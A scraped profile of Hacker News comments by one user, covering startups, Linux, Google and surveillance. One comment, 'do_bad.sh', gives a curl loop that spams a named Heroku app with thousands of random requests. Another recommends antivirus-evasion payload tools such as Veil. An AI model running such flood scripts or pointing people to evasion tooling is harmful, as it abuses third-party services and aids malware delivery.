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xSwagon Co-founder of Youtube makes his first comment in 8 years

https://www.youtube.com/user/jawed

Joined Apr 23, 2005 - It's actually legitimate.

Can sombody please expand on: If there is no competition you’re probably screwed. Are there any cases when this is not applicable?

(I recently started a website that nobody else seems to have done before -- web version of a desktop based tool)

xSwagon What I learnt bootstrapping my startup from Thailand for six months

Word of warning, 2 years ago I ran a large dubstep related channel which was shut down. Be very careful about copyrighted content, the record label will file dmca complaints even if you got permission from the artist! You only get so many warnings. I would even suggest having a backup channel and not to put all eggs in one basket!

xSwagon ‘Dutch sandwich’ grows as Google shifts €8.8bn to Bermuda

Did you make sure to disable Adblock and extensions like Ghostery?

I used the stock crunchbang browser (iceweasel) and it showed me advertisements: http://i.imgur.com/mhJhc5W.png

xSwagon FBI raids alleged online drug market Silk Road, arrests owner

Link to that pdf is down, anybody got a copy of it?

xSwagon Google Web Designer

I'm really happy that it looks like Photoshop and not like GIMP. Good UI is essential for widespread adoption.

xSwagon Ask HN: Did your side project become your main source of income in 2013?

I've been wanting to do something similar to this in the future after my education. If you don't mind me asking, did you major in Math?

xSwagon Google - Our History in Depth

Sergey Brin probably had the snazziest profile picture in those times:

http://web.archive.org/web/19980418143602/http://www-db.stan...

xSwagon SteamOS

So what is the chance that Gaben will make everything proprietary? Releasing games for the SteamOS with license restrictions to make them unplayable on other Linux distros? What if he makes a deal with AMD/NVidia to make drivers only for SteamOS which won't be available to normal Linux users? I don't want linux to go towards that direction.

xSwagon SteamOS

Oh my god. This provides a genuine chance for year of the linux desktop in 2014, for gamers at least.

xSwagon Ask HN: Secure and minimalist linux distros?

I'm surprised nobody has linked http://crunchbang.org/

xSwagon [dead]

Could a moderator please put some sort of warning in the title? Those images make me sick and so angry it's unbelievable.

xSwagon Flutter: $20 Wireless Arduino with 1 km range

1 half mile = 0.804672 kilometres

xSwagon Two Root Causes Of My Recent Depression

More readable version:

http://www.readability.com/articles/1tg24uxp

xSwagon My own Rap Genius API

As someone applying to university this year, I can't thank you enough for the ucas scraper!

xSwagon ICANN bans dotless domains

An XSS vulnerability on a dotless domain can lead to XSS on the entire tld. See top level universal XSS[1]

[1]https://superevr.com/blog/2012/top-level-universal-xss/

xSwagon Ask HN: What is your greatest success story?

Mind sharing the link?

xSwagon Ask HN: What other major could pair well with CS?

Philosophy? Entirely different!?

Philosophy blends in well with CS [1][2][3]

[1]: http://www.ox.ac.uk/admissions/undergraduate_courses/courses...

[2]: http://www.inf.ed.ac.uk/undergraduate/csph.html

[3]: http://www.cs.york.ac.uk/undergraduate/ug-courses/bsc-cs-phi...

xSwagon Mega to run ‘cutting-edge’ encrypted email

I wouldn't trust him. He seems like such a shady guy[1]

[1]: http://en.wikipedia.org/wiki/Kim_Dotcom#Early_criminal_inves...

xSwagon Text-based terminal screencasts

What happens if I run something like htop?

xSwagon Ask HN: What are you working on right now?

What's up with your font rendering?

xSwagon NSA Collects 'Word for Word' Every Domestic Communication, Says Former Analyst

You're right, but that's only the calls one way. It should really be times by 2.

http://www.wolframalpha.com/input/?i=6+MB+*+300+million

xSwagon XSS in Google Finance

Automatic analysis would have to be amazing to detect something like this. I'm assuming this was found manually. I wonder how long it took.

xSwagon Bootstrap 3 RC1

Didn't know advertisements were allowed on github pages, I guess the developers have to monetize somehow.

xSwagon The anti-virus age is over

It's funny how you mention polymorphism in malware. Just recently I came across a modified version of a stock exploit kit which was serving Zeus with each signature being unique. I didn't look into it too much be it seems like there were several thousand precompiled version of the executable on the server and each unique copy was only being loaded for a few hosts to evade anti-virus detection.

There is even open source software that helps evade Antiviruses. If anybody's interested in further reading, I would definitely recommend:

[1]https://www.veil-evasion.com/tutorial-veil-payload-developme...

[2]http://blog.webroot.com/2013/02/22/diy-malware-cryptor-as-a-...

[3]https://www.christophertruncer.com/veil-a-payload-generator-...

[4]https://www.net-security.org/secworld.php?id=15173

xSwagon Do_good.js

do_bad.sh

  for i in {1..9999};do curl -v --data "n=$RANDOM&result=$RANDOM" http://arcane-sea-9808.herokuapp.com/update/?callback=;done

xSwagon Ask HN: What are you working on?

Few months ago I scanned a list of domains on the web, randomly selected from the top 100k alexa list for common vulnerabilities and oh boy lots of websites are insecure, ranging all the way from xss to sqli.

Anyway, it inspired me to create an online security scanner. Right now I'm focusing on just Wordpress based websites but I'll expand if this gains any traction. Currently it scans for outdated installations, common sql injection, xss, vulnerable plugins and themes along with common shell files. It's been really fun to build so far. Aiming to finish it by the end of next week. Haven't got a domain yet, but I have screenshots of the prototype:

http://i.imgur.com/MetVr9E.png

http://i.imgur.com/QRKXLNU.png

xSwagon Google.com down 10:11EST

The CDN is also down which means websites embedding jQuery and other content will break.

xSwagon Poll: What Language would/do you use to build a web application

Why is there no option for Node.js?

xSwagon Anonymous releases NSA documents

No they don't. They don't need to bully families of politicians. Or the politicians.